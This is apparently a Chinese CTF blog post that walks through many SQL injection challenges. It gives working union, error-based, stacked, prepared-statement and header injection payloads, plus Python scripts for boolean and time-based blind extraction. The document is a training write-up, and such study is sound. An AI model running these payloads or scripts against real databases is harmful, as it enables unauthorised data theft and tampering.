sql注入简介

Sql注入即是指由于web应用程序对用户输入数据的合法性没有判断或过滤不严,导致攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息的一种攻击方式.

接下来结合一些题目来写几种sql注入的方式.

CG-CTF的几道sql注入题&XCTF高校战疫的sqlcheckin

这几题放在一起是觉得都属于利用注释或其他方式绕过,或使用万能密码(‘ or 1=1#)来获取flag,比较简单没什么难度.这里以sqlchekin为例详细写一下.

题目源码:

<?php 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // ...

这题的username和password皆可控,为使得查询语句的查询结果为admin,我们要想办法绕过password的比较.官方的做法是构造弱类型运算来绕过,payload为:username=admin’and(1-&password=)-‘. 我自己是当时用的学长的‘-0-’,后面试了别的发现‘-’+‘-’,这些分割开的注释也可以.更多的新型万能密码payload见右:记一道CTF 中遇到的SQL注入新型万能密码问题

CTFHub整数型注入&字符型注入

CTFHub平台技能树里的题目,主要就是熟悉一下基础的sql注入流程,没有任何过滤. 整数型查询语句:select * from news where id = 1 字符型查询语句:select * from news where id =’1′,这两种的主要差别就是字符型在构造payload的时候需要加上单引号进行闭合,且在payload最后要加上注释的符号将原本查询语句中就有的单引号注释掉.(常用注释:#,–+,–等)

整数型payload:1.-1 union select 1,table_name from information_schema.tables where table_schema = database() limit 1,12.-1 union select 1,column_name from information_schema.columns where table_name = 'flag' limit 0,13.-1 union select 1,flag from flag得到flag.

字符型差不多,多个单引号和注释:1.-1' union select 1,table_name from information_schema.tables where table_schema = database() limit 1,1#2.-1' union select 1,column_name from information_schema.columns where table_name = 'flag' limit 0,1#3.-1' union select 1,flag from flag#

CTFHub报错注入

报错注入中最常见的三种函数:updatexml,extractvalue,floor.

updatexml&extractvalue报错注入原理:sql报错注入:extractvalue、updatexml报错原理

floor:floor()报错注入

这题一开始我用的extractvalue,payload为:1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,1)))但在爆flag的时候,flag只出来了一部分,这是因为updatexml和extractvalue报错只能显示32位,所以还要再用mid函数来进行字符截取从而显示32位以后的数据。

用floor的payload:1 union select count(*),concat((select flag from flag),0x7e,floor(rand(0)*2))x from information_schema.columns group by x;

CTFHub布尔盲注,Hgame week2 sql&时间盲注

布尔盲注,简单来说无论查什么回显都只有两种,正确的一种,错误的一种,只能去猜测库名,表名等,猜测正确则回显正确对应的回显,错误则回显错误对应的回显,通过回显内容来判断猜测的正误,手工注入会花费大量时间,所以通过脚本来进行攻击,而时间盲注则可能完全无回显,同样只能靠猜测,猜测正确,执行sleep语句,否则不执行,通过时间来判断猜测的正误.Hgame week2之前说过,这次用CTFHub的布尔盲注做例子.

本题在查询框输入数字则显示query_success,输入字母显示query_error,撰写脚本如下:

import requests
url = 'http://ip:port/?id='
for i in range(0,3):
    flag = ''
    for j in range(1,50):
        for k in range(32,128):
            payload = url + "if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {},1),{},1))={},1,(select table_name from information_schema.tables))".format(i,j,k)
            r = requests.get(payload)
            if 'query_success' in r.text:
                flag += chr(k)
                break
    print(flag)
import requests
url = 'http://ip:port/?id='
flag = ''
for j in range(1,50):
    for k in range(32,128):
        payload = url + "if(ascii(substr((select flag from flag),{},1))={},1,(select table_name from information_schema.tables))".format(j,k)
        r = requests.get(payload)
        if 'query_success' in r.text:
            flag += chr(k)
            print(flag)
            break

时间盲注的脚本也类似:

import requests
import datetime
url = 'http://ip:port/?id=1 and '
flag = ''
for i in range(1,60):
    for j in range(32,128):
        payload = url+"if(ascii(substr((select flag from flag),{},1))={},sleep(5),1)".format(i,j)
        time1 = datetime.datetime.now()
        requests.get(url=payload)
        time2 = datetime.datetime.now()
        intval = (time2-time1).seconds
        if intval >= 5:
            flag += chr(j)
            print(flag)
            break

时间盲注的脚本sleep时间我调的比较长,时间太短的话,可能会因为网络问题出错.

SWPU Web1

二次注入&无列名注入

首先注册进入广告平台.申请广告的广告名处存在注入.空格,报错注入函数,or,注释符号被过滤,回显需要在发送申请后点击广告详情查看.union select可用.首先查列数,由于or被过滤,所以不能用order by,但是可以用group by.payload:1'/**/group/**/by/**/22,'1无回显,1'/**/group/**/by/**/23,'1回显:Unknown column ’23’ in ‘group statement’ 由此可知一共有22列(这真的也太多了吧.)or被过滤,information_schema库不可用,用database()代表当前库名,使用sys.schema_auto_increment_columns查询表名.参考:聊一聊bypass information_schema

payload:-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22(buuoj的环境貌似没有sys库,比赛的时候是有的.)

查出表名后,还是无法得知列名,用无列名注入的技巧.

payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22(比赛的时候给的是md5,需要到somd5解出来,buuoj直接给了flag.)

附上smi1e师傅的文章,里面的无列名注入部分很详细(当然其他的部分也很详细.)Sql注入笔记

强网杯-随便注&swpuweb4

堆叠注入&预处理

之前写blacklist的时候提到过.过滤:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);看到过滤了这么多,考虑是否为堆叠注入.payload:1';show tables;#查出两个表(1919810931114514…这个表也太臭了XD),1919810931114514这个表中有flag字段,但是很显然,回显是words表回显的,我们无法直接获得flag字段的内容,所以我们就要通过堆叠注入的方式来对表进行改名.payload:1';RENAME TABLE `words` TO `w`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#之后再输入万能密码就能拿到flag了.

预处理的做法则要简洁得多了:1';set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE leuk from @a;EXECUTE leuk;#

swpuweb4的sql注入部分:预处理+时间盲注,上脚本:

import requests
import json
import time

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


url = "http://0e8b4e56-e6a5-4f60-9b10-0d5af5508ff0.node3.buuoj.cn/index.php?r=Login/Login"
payloads = "xxx';SET @a=0x{0};PREPARE leuk from @a;EXECUTE leuk;"
flag = ''
for i in range(1, 50):
    print(i)
    for j in range(0,128):
        payload = "select if(ascii(substr((select flag from flag),{},1))={},sleep(5),1)".format(i, j)
        datas = {'username':payloads.format(str_to_hex(payload)), 'password':'123'}
        data = json.dumps(datas)
        time1 = time.time()
        r = requests.post(url=url, data=data)
        time2 = time.time()
        if time2-time1 >= 5:
            flag += chr(j)
            print(flag)
            break

Blacklist

这题不再多说了,学到的东西就是mysql的handler.再把那篇文章的链接放一下:mysql查询语句-handler

BJDCTF 简单注入

先fuzz,ban了单双引号,等号,like,union和select这几个比较常用的关键词,所以常规注入行不通.

乱输了一通,回显相同.

查询语句:select * from users where username='$_POST["username"]' and password='$_POST["password"]'用反斜杠来逃逸:

select * from users where username='admin\' and password='or 1#',此时回显发生变化:

regexp没有被ban,于是就用regexp布尔盲注.[转载]sql 盲注之正则表达式攻击

上脚本:

import requests
url = 'http://0ca66815-ca7d-4329-a050-0db584800615.node3.buuoj.cn/index.php'


def str_to_hex(string):
    res = ''
    for i in string:
        res += hex(ord(i))
    return '0x' + res.replace('0x', '')


alphabet = ['!', '[', ']', '{', '}', '_', '/', '-', '&', "%", '#', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
            'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',
            'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
            'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

flag = '^'
for i in range(0, 20):
    for j in alphabet:
        payload = flag + j
        data = {
            'username': 'admin\\',
            'password': 'or password regexp binary {}#'.format(str_to_hex(payload))
        }
        r = requests.post(url=url,data=data)
        if 'BJD needs' in r.text:
            flag = payload
            break
    print(flag.replace('^', ''))

得到密码后,登陆,得flag.

SUCTF2019 easy_sql

本题考点关于sql_mode参数.

先上源码(大佬们的wp里说是可以扫到的):

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

由于使用了mysqli_multi_query,所以可以用堆叠注入.查询语句为:$sql = "select ".$post['query']."||flag from Flag";.这题的预期解考的是sql_mode参数:MySQL中sql_mode参数,文中提到了其中一个设置:PIPES_AS_CONCAT.这个设置意味着将”||”当成连接操作符而非”或”运算符.而本题的查询语句中包含有”||”,所以我们就可以通过修改sql_mode参数来完成本题.

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解的话则是:*,1,拼接后语句就为:select *,1 || flag from Flag;同样可得到flag.

极客大挑战2019 Finalsql

学到的点:异或注入,distinct.

wh1sper大哥早上发在群里的题,于是就来看看.(做之前顺便把这比赛的其他sql题也做了,挺有意思的.)

用户名和密码的过滤非常严格,滤了一大片,但是本题的页面多了几个按键,点进去会发现url后面多了个”?id=”,前几题并没有出现这个,那么这个id就大有蹊跷.试了一下,select,等号,逗号,注释,单引号啥的都没过滤,union,空格,and被过滤了.由于页面上写了大家好!我是练习时常两年半的,个人WEB程序员cl4y,我会php,PYTHON,mysql,SQL盲注这样一句话,所以这题应该是盲注,测试了一下,正确错误回显不同,是布尔盲注,这样的话union被ban影响也就不大了.至于and和空格的话就比较麻烦了,/**/还有%0a之类的都绕不过空格,于是就使用了括号来绕,至于and,则用到了异或’^’,异或运算规则:1 ⊕ 1 = 0,0 ⊕ 0 = 0,1 ⊕ 0 = 1,0 ⊕ 1 = 1.了解了规则之后就开始构造payload,根据规则构造1^sql注入语句^1,如此构造的话,当中间的语句为真时,整个payload即为真,中间为假时,整个payload为假.

上脚本:

import requests
url = 'http://8cfcf983-4db1-4ae1-aa97-7a0605302d5c.node3.buuoj.cn/search.php?id='
flag = ''
for j in range(1,300):
    print(j)
    for k in range(32,128):
        payload = "1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),{},1))={})^1".format(j,k)
        r = requests.get(url=url+payload)
        if 'NO!' in r.text:
            flag += chr(k)
            print(flag)
            break

distinct:SQL SELECT DISTINCT 语句

再上一个二分法的脚本,快很多:

import requests

url = 'http://8cfcf983-4db1-4ae1-aa97-7a0605302d5c.node3.buuoj.cn/search.php?id='
flag = ''
for i in range(1,300):
    print(i)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        payload = "1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),{},1))>{})^1".format(i,mid)
        r = requests.get(url=url+payload)
        if "NO!" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)

Load data infile

https://www.smi1e.top/mysql-load-data-%E8%AF%BB%E5%8F%96%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6/

X1cT34m_被安排笔记_web

X1cT34m考核题笔记

Cookie注入&UA注入&Referer注入

注入点换了位置,payload还是一样的.

cookie注入:

Cookie: id=-1 union select 1,lknyevwhxi from jiugrgtzih;

UA注入:

User-Agent: -1 union select 1,mirsvkpods from rfboamqzbq;

Referer注入:

Referer: id=-1 union select 1,rdplkcepjh from smjgkcmwfm

DozerCtf sqlilab

题目给了提示url二次编码. 进入题目先测试一下,为字符型,需要用单引号闭合.然后是堆叠注入,按照常规做法查询库名、表名、列名,可以发现flag在uziuzi这个表里.最后用handler获得flag.最后一步两次url编码前的payload:1';handler uziuzi open;handler uziuzi read first;#

DASCTF7月赛 SQLi

题目把in,or,auto,stat都给ban了,之前swpu2019web1的时候贴的链接里的都不能用.要用sys.schema_tables_with_full_table_scans.查表名时table_name要改为object_name,查出表名后无列名注入即可.

留给以后遇到的题目

更高级的sql注入等我刷题刷到再来更新.

 

 

 

 

Categories:

Tags:

3 Responses

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号